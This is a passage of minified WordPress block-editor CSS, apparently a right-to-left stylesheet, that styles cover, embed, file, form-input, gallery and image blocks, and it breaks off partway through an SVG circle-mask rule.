.wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{opacity:.1}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{opacity:.2}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{opacity:.3}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{opacity:.4}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{opacity:.5}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{opacity:.6}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{opacity:.7}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{opacity:.8}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{opacity:.9}.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{opacity:1}.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{max-width:420px;width:100%}.wp-block-cover-image:after,.wp-block-cover:after{content:"";display:block;font-size:0;min-height:inherit}@supports (position:sticky){.wp-block-cover-image:after,.wp-block-cover:after{content:none}}.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{display:flex}.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{color:inherit;direction:rtl;width:100%;z-index:1}.wp-block-cover h1:where(:not(.has-text-color)),.wp-block-cover h2:where(:not(.has-text-color)),.wp-block-cover h3:where(:not(.has-text-color)),.wp-block-cover h4:where(:not(.has-text-color)),.wp-block-cover h5:where(:not(.has-text-color)),.wp-block-cover h6:where(:not(.has-text-color)),.wp-block-cover p:where(:not(.has-text-color)),.wp-block-cover-image h1:where(:not(.has-text-color)),.wp-block-cover-image h2:where(:not(.has-text-color)),.wp-block-cover-image h3:where(:not(.has-text-color)),.wp-block-cover-image h4:where(:not(.has-text-color)),.wp-block-cover-image h5:where(:not(.has-text-color)),.wp-block-cover-image h6:where(:not(.has-text-color)),.wp-block-cover-image p:where(:not(.has-text-color)){color:inherit}.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{align-items:flex-start;justify-content:flex-start}.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{align-items:flex-start;justify-content:center}.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{align-items:flex-start;justify-content:flex-end}.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{align-items:center;justify-content:flex-start}.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{align-items:center;justify-content:center}.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{align-items:center;justify-content:flex-end}.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{align-items:flex-end;justify-content:flex-start}.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{align-items:flex-end;justify-content:center}.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{align-items:flex-end;justify-content:flex-end}.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{margin:0}.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{margin:0;width:auto}.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{border:none;bottom:0;box-shadow:none;height:100%;left:0;margin:0;max-height:none;max-width:none;object-fit:cover;outline:none;padding:0;position:absolute;right:0;top:0;width:100%}.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:fixed;background-repeat:no-repeat;background-size:cover}@supports (-webkit-touch-callout:inherit){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}@media (prefers-reduced-motion:reduce){.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{background-attachment:scroll}}.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{background-repeat:repeat;background-size:auto}.wp-block-cover__image-background,.wp-block-cover__video-background{z-index:0}.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{color:#fff}.wp-block-cover-image .wp-block-cover.has-left-content{justify-content:flex-start}.wp-block-cover-image .wp-block-cover.has-right-content{justify-content:flex-end}.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{margin-right:0;text-align:right}.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{margin-left:0;text-align:left}.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{font-size:2em;line-height:1.25;margin-bottom:0;max-width:840px;padding:.44em;text-align:center;z-index:1}:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){color:#fff}:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){color:#000}.wp-block-details{box-sizing:border-box;overflow:hidden}.wp-block-details summary{cursor:pointer}.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-height:240px;min-width:320px}.wp-block-embed{overflow-wrap:break-word}.wp-block-embed figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{bottom:0;height:100%;left:0;position:absolute;right:0;top:0;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}.wp-block-file{box-sizing:border-box}.wp-block-file:not(.wp-element-button){font-size:.8em}.wp-block-file.aligncenter{text-align:center}.wp-block-file.alignright{text-align:right}.wp-block-file *+.wp-block-file__button{margin-right:.75em}:where(.wp-block-file){margin-bottom:1.5em}.wp-block-file__embed{margin-bottom:1em}:where(.wp-block-file__button){border-radius:2em;display:inline-block;padding:.5em 1em}:where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{box-shadow:none;color:#fff;opacity:.85;text-decoration:none}.wp-block-form-input__label{display:flex;flex-direction:column;gap:.25em;margin-bottom:.5em;width:100%}.wp-block-form-input__label.is-label-inline{align-items:center;flex-direction:row;gap:.5em}.wp-block-form-input__label.is-label-inline .wp-block-form-input__label-content{margin-bottom:.5em}.wp-block-form-input__label:has(input[type=checkbox]){flex-direction:row-reverse;width:-moz-fit-content;width:fit-content}.wp-block-form-input__label-content{width:-moz-fit-content;width:fit-content}.wp-block-form-input__input{font-size:1em;margin-bottom:.5em;padding:0 .5em}.wp-block-form-input__input[type=date],.wp-block-form-input__input[type=datetime-local],.wp-block-form-input__input[type=datetime],.wp-block-form-input__input[type=email],.wp-block-form-input__input[type=month],.wp-block-form-input__input[type=number],.wp-block-form-input__input[type=password],.wp-block-form-input__input[type=search],.wp-block-form-input__input[type=tel],.wp-block-form-input__input[type=text],.wp-block-form-input__input[type=time],.wp-block-form-input__input[type=url],.wp-block-form-input__input[type=week]{border:1px solid;line-height:2;min-height:2em}textarea.wp-block-form-input__input{min-height:10em}.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){display:flex;flex-wrap:wrap;list-style-type:none;margin:0;padding:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item{display:flex;flex-direction:column;flex-grow:1;justify-content:center;margin:0 0 1em 1em;position:relative;width:calc(50% - 1em)}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:nth-of-type(2n){margin-left:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figure,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figure,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figure{align-items:flex-end;display:flex;height:100%;justify-content:flex-start;margin:0}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item img{display:block;height:auto;max-width:100%;width:auto}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:.8em;margin:0;max-height:100%;overflow:auto;padding:3em .77em .7em;position:absolute;text-align:center;width:100%;z-index:2}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image figcaption img,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image figcaption img,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item figcaption img{display:inline}.blocks-gallery-grid:not(.has-nested-images) figcaption,.wp-block-gallery:not(.has-nested-images) figcaption{flex-grow:1}.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-image img,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item a,.blocks-gallery-grid:not(.has-nested-images).is-cropped .blocks-gallery-item img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-image img,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item a,.wp-block-gallery:not(.has-nested-images).is-cropped .blocks-gallery-item img{flex:1;height:100%;object-fit:cover;width:100%}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item{margin-left:0;width:100%}@media (min-width:600px){.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item{margin-left:1em;width:calc(33.33333% - .66667em)}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item{margin-left:1em;width:calc(25% - .75em)}.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item{margin-left:1em;width:calc(20% - .8em)}.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item{margin-left:1em;width:calc(16.66667% - .83333em)}.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item{margin-left:1em;width:calc(14.28571% - .85714em)}.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image,.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item{margin-left:1em;width:calc(12.5% - .875em)}.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.blocks-gallery-grid:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-image:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-1 .blocks-gallery-item:nth-of-type(1n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-image:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-2 .blocks-gallery-item:nth-of-type(2n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-image:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-3 .blocks-gallery-item:nth-of-type(3n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-item:nth-of-type(4n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-image:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-5 .blocks-gallery-item:nth-of-type(5n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-image:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-6 .blocks-gallery-item:nth-of-type(6n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-image:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-7 .blocks-gallery-item:nth-of-type(7n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-image:nth-of-type(8n),.wp-block-gallery:not(.has-nested-images).columns-8 .blocks-gallery-item:nth-of-type(8n){margin-left:0}}.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-image:last-child,.blocks-gallery-grid:not(.has-nested-images) .blocks-gallery-item:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-image:last-child,.wp-block-gallery:not(.has-nested-images) .blocks-gallery-item:last-child{margin-left:0}.blocks-gallery-grid:not(.has-nested-images).alignleft,.blocks-gallery-grid:not(.has-nested-images).alignright,.wp-block-gallery:not(.has-nested-images).alignleft,.wp-block-gallery:not(.has-nested-images).alignright{max-width:420px;width:100%}.blocks-gallery-grid:not(.has-nested-images).aligncenter .blocks-gallery-item figure,.wp-block-gallery:not(.has-nested-images).aligncenter .blocks-gallery-item figure{justify-content:center}.wp-block-gallery:not(.is-cropped) .blocks-gallery-item{align-self:flex-start}figure.wp-block-gallery.has-nested-images{align-items:normal}.wp-block-gallery.has-nested-images figure.wp-block-image:not(#individual-image){margin:0;width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)/2)}.wp-block-gallery.has-nested-images figure.wp-block-image{box-sizing:border-box;display:flex;flex-direction:column;flex-grow:1;justify-content:center;max-width:100%;position:relative}.wp-block-gallery.has-nested-images figure.wp-block-image>a,.wp-block-gallery.has-nested-images figure.wp-block-image>div{flex-direction:column;flex-grow:1;margin:0}.wp-block-gallery.has-nested-images figure.wp-block-image img{display:block;height:auto;max-width:100%!important;width:auto}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{background:linear-gradient(0deg,#000000b3,#0000004d 70%,#0000);bottom:0;box-sizing:border-box;color:#fff;font-size:13px;margin-bottom:0;max-height:60%;overflow:auto;padding:0 8px 8px;position:absolute;right:0;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin;text-align:center;width:100%;will-change:transform}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar{height:12px;width:12px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-track{background-color:initial}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus::-webkit-scrollbar-thumb,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover::-webkit-scrollbar-thumb{background-color:#fffc}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:focus-within,.wp-block-gallery.has-nested-images figure.wp-block-image figcaption:hover{scrollbar-color:#fffc #0000}@media (hover:none){.wp-block-gallery.has-nested-images figure.wp-block-image figcaption{scrollbar-color:#fffc #0000}}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption img{display:inline}.wp-block-gallery.has-nested-images figure.wp-block-image figcaption a{color:inherit}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>a,.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border>div,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>a,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded>div{flex:1 1 auto}.wp-block-gallery.has-nested-images figure.wp-block-image.has-custom-border figcaption,.wp-block-gallery.has-nested-images figure.wp-block-image.is-style-rounded figcaption{background:none;color:inherit;flex:initial;margin:0;padding:10px 10px 9px;position:relative}.wp-block-gallery.has-nested-images figcaption{flex-basis:100%;flex-grow:1;text-align:center}.wp-block-gallery.has-nested-images:not(.is-cropped) figure.wp-block-image:not(#individual-image){margin-bottom:auto;margin-top:0}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image){align-self:inherit}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image)>div:not(.components-drop-zone){display:flex}.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) a,.wp-block-gallery.has-nested-images.is-cropped figure.wp-block-image:not(#individual-image) img{flex:1 0 0%;height:100%;object-fit:cover;width:100%}.wp-block-gallery.has-nested-images.columns-1 figure.wp-block-image:not(#individual-image){width:100%}@media (min-width:600px){.wp-block-gallery.has-nested-images.columns-3 figure.wp-block-image:not(#individual-image){width:calc(33.33333% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-4 figure.wp-block-image:not(#individual-image){width:calc(25% - var(--wp--style--unstable-gallery-gap, 16px)*.75)}.wp-block-gallery.has-nested-images.columns-5 figure.wp-block-image:not(#individual-image){width:calc(20% - var(--wp--style--unstable-gallery-gap, 16px)*.8)}.wp-block-gallery.has-nested-images.columns-6 figure.wp-block-image:not(#individual-image){width:calc(16.66667% - var(--wp--style--unstable-gallery-gap, 16px)*.83333)}.wp-block-gallery.has-nested-images.columns-7 figure.wp-block-image:not(#individual-image){width:calc(14.28571% - var(--wp--style--unstable-gallery-gap, 16px)*.85714)}.wp-block-gallery.has-nested-images.columns-8 figure.wp-block-image:not(#individual-image){width:calc(12.5% - var(--wp--style--unstable-gallery-gap, 16px)*.875)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image){width:calc(33.33% - var(--wp--style--unstable-gallery-gap, 16px)*.66667)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2),.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:nth-last-child(2)~figure.wp-block-image:not(#individual-image){width:calc(50% - var(--wp--style--unstable-gallery-gap, 16px)*.5)}.wp-block-gallery.has-nested-images.columns-default figure.wp-block-image:not(#individual-image):first-child:last-child{width:100%}}.wp-block-gallery.has-nested-images.alignleft,.wp-block-gallery.has-nested-images.alignright{max-width:420px;width:100%}.wp-block-gallery.has-nested-images.aligncenter{justify-content:center}.wp-block-group{box-sizing:border-box}h1.has-background,h2.has-background,h3.has-background,h4.has-background,h5.has-background,h6.has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg}.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-image .is-style-rounded img,.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" 